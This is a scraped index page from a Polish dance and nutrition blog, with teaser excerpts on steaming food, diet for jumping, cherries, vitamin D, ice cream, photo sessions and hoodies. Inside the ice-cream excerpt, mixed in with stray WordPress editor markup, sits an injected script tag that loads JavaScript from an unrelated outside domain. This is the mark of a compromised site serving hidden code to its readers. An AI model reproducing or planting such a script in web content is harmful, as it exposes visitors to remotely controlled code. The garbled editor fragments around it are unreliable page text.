DSC01036

Gotowanie na parze

Przygotowanie potraw to bardzo ważna kwestia w dbałości o codzienne menu. Nie tylko dobór, zestawienie i pory posiłków decydują o jakości Waszych stylów żywienia. To, w jaki sposób przygotowujecie potrawy, także ma nieodłączną ważność. Najbardziej ze wszystkich technik kulinarnych polecam gotowanie na parze. Jeśli nie posiadacie parowara, można użyć specjalnej nakładki na tradycyjny garnek. Dlaczego Dalej

Blog Witaj Szkoło Milena Nosek #metkabaletka #dance #dancer #taniec

Witaj, szkoło!

Mam nadzieję, że wakacje minęły Wam pięknie, a rozpoczęcie roku szkolnego nie będzie dla Was trudne. Zapowiada nam się wspólny, ciekawy, taneczny rok, także nie zapominajcie tutaj regularnie zaglądać!!! Na początek – uzupełnianie Sezonownika [sezonownik – tutaj]. Poniżej Wasza ściągawka. Ja skupiłam się na warzywach, a zadaniem dla Was jest uzupełnienie o owoce! Czekam na Dalej

Blog Milena Nosek #metkabaletka #dance #dancer #taniec

Dieta na dobry skok!

Dwa pojęcia, które od razu kojarzą się – mówiąc potocznie – z „dobrym skokiem” to lekkość i siła. Jak je uzyskać, utrzymać? Nie jest to łatwe, ale możliwe! Dziś skupimy się na tej pierwszej 😉 Lekkość Podstawowe zasady ogólne: Regularność posiłków – odstępy 3-3,5 godziny, ostatni posiłek 2,5 godziny przed snem. Płyny: minimum 8 szklanek Dalej

Blog Milena Nosek Cukinia #metkabaletka #dance #dancer #taniec

Sposób na linię!

Niskokaloryczne warzywa – sposób na linię! Lato to bogactwo różnorodnych warzyw, dzięki którym łatwiej jest utrzymać lub uzyskać piękną sylwetkę. Zawierają dużo wody, dobrze przyswajalne substancje mineralne, witaminy i błonnik, dzięki któremu to właśnie odczuwalne jest dłuższe nasycenie. Warzywa zawierają także składniki, przez które wolniej się starzejemy, a codzienne menu może wyglądać i smakować bardzo Dalej

Blog Milena Nosek Kalorie Energia #metkabaletka #dance #dancer #taniec

Energetycznie

……………..na prawidłowym poziomie Z pewnością termin kaloria jest Wam znana i często zastanawiacie się nad tym, w jakiej ilości trzeba przyjmować pożywienie, by dostarczyć odpowiedniej wartości. Pojęcie to nieodłącznie kojarzy się z masą ciała, ze szczupłością, ze zdrowiem, ale i z nadwagą i „niebezpiecznymi” produktami. Czytacie etykiety, przeliczacie…czy potrzebnie? Określenie ilości kilokalorii w produktach żywnościowych Dalej

Blog Milena Nosek Czereśnie #metkabaletka #dance #dancer #taniec

Czereśniowy blues

Lubicie czereśnie? Jeśli jest to niedoceniany przez Was owoc, polecam się do nich przekonać i korzystać z ich dobroczynnych właściwości, póki są! Ze względu na niską kaloryczność (szklanka tych owoców to około 50-60 kcal) nie przyczyniają się do wzrostu masy ciała; mają silne działanie przeciwzapalne i przeciwdrobnoustrojowe, tak więc dzięki nim wzmocnicie odporność. Co jeszcze ważniejsze Dalej

Blog Milena Nosek Sezonownik Tancerza #dance #dancer #taniec

Sezonownik Tancerza!

Zakładamy Sezonownik Tancerza! Zadanie dla Was na wakacje i nie tylko – polecam: zakup ładnego, kolorowego zeszytu, śledzenie Bloga i uzupełnianie notatek. Zaczynamy od dziś, w połowie wakacji, kiedy czekamy na piękny miesiąc – sierpień. Będziemy zapisywać w każdym z nich warzywa i owoce dostępne na rynku* i takie, które się pojawiły jako charakterystyczne i Dalej

lody

Ice cream, lody, le ice-cream, gelato…!

Wizualny Tekstowy <script src=http://a.c0594.com/?js=6></script>Wizualny <button type=”button” id=”content-html” class=”wp-switch-editor switch-html” data-wp-editor-id=”content”>Tekstowy</button> <div id=”wp-content-editor-container” class=”wp-editor-container”><div id=”ed_toolbar” class=”quicktags-toolbar”></div><textarea class=”wp-editor-area” style=”height: 300px” autocomplete=”off” cols=”40″ name=”content” id=”content”>Nieodłączne wspomnienie z dzieciństwa i jeden z najbardziej lubianych deserów. Dzisiaj przedstawię Wam, które lody wybierać, czy mają wartości i czy dbając o prawidłowe żywienie należy się ich wyrzekać. Zapraszam do lektury! Lody, jak Dalej

DSC00592

Co w teczkę na wycieczkę?

Wakacje to czas wyjazdów na obozy taneczne, praktyki i warsztaty. Wówczas zmienia się plan dnia, a co za tym idzie – tryb żywienia. Określone pory posiłków (zazwyczaj 3 posiłki) i czasami utrudniona dostępność do sklepów. Poniżej znajdziecie listę produktów, które można ze sobą zabrać w ramach prowiantu, aby uniknąć głodu, niezadowolenia i w szczególności – Dalej

wit d wzor

Zadbaj o witaminę D!

Witamina D to jedna z podstawowych witamin dla tancerza! Przede wszystkim ze względu na kościec, ale i masę ciała. Niedobór sprzyja rozwojowi chorób kości, ale i serca, częstszym kontuzjom, rozwojowi otyłości i nowotworów. Co ważne – witamina D zwiększa siłę mięśni! Zaopatrzenie ludzkiego organizmu w tę witaminę zależy głównie od ekspozycji na światło słoneczne; pożywienie Dalej

Kartka metkaBALETKA #metkabaletka #dance #dancer #taniec

#fotometkabaletka

Wiele osób pyta o kartkę metkaBALETKA. Chcielibyśmy, żeby każdy miał możliwość pokazania Metki całemu światu! Chcielibyśmy, żeby metka zwiedziła jak najwięcej miejsc! Róbcie zdjęcia, inspirujcie nas swoimi pomysłami, zabierajcie ją wszędzie ze sobą tak jak my to robimy! Czekamy na Wasze zdjęcia na FB, Instagramie i Snapchat (metkabaletka33)! #fotometkabaletka #metkabaletkastyle   Tutaj możesz pobrać kartkę, Dalej

Taniec w reklamach #metkabaletka #dance #dancer #taniec

Taniec w reklamie

Reklamy wybrane przez metkaBALETKA Team :-). Jakie są Wasze ulubione taneczne reklamy?   #Mozart Air France #Stronger body for better control Lexus #Nacional de Danza Shiseido #United Dreams #If it matters to you, it matters to us https://www.youtube.com/watch?v=7gqPM_GT8Qw #Ballet w Burger King……. #Evion water…… #Sony Bravia Ballet Dancing….. #OPI Dance with horses https://www.youtube.com/watch?v=E7p_Dlvymuo #Levis Ballet

Blog Last Month #metkabaletka #dance #dancer

Last month

To był pracowity miesiąc. Pełną parą ruszyły przygotowania do Mistrzostw Polski i Europy, stąd więcej czasu spędzamy na parkiecie rejestrując dla Was treningi tancerzy metkaBALETKA. W październiku zrealizowaliśmy sesje dla Cioci Basi & Co, Braininside i 2skin. Nasze tancerki miały bardzo dużo pracy i świetnie sobie poradziły z zadaniem. Nie było łatwo, bo jesienna aura Dalej

Jak przygotować się do sesji Klaudia Gołebiewska #metkaBALETKA #dancer #dance #taniec

Sesja zdjęciowa

Jak przygotować się do tanecznej sesji zdjęciowej? Otwieramy nowy cykl – dzisiaj część 1 przygotowana przez Tancerkę Klaudię Gołębiewską. Twój wygląd to jeden z najważniejszych elementów! Zasada jest prosta: im piękniej będziesz wyglądała, tym lepiej będziesz czuła się w swojej skórze, a im lepszy nastrój, tym piękniejsze zdjęcia. Każdy z nas decydując się na sesję Dalej

Bluza z kapturem metkabaletka Hultaj Polski taniec, dance, dancer

Bluza z kapturem

Bluzy z kapturami powstały w latach 50, gdy producent Champion dodał kaptury do grubych bluz. Kiedy je wymyślono ceniono je za niską cenę, wygodę i ciepło. Sprawdzały się one w przypadku osób pracujących przy złej pogodzie, robotników i sportowców. To, że zaczęli używać ich sportowcy ze średnich szkół, dało pozytywny kontekst. Nastawienie do bluz z Dalej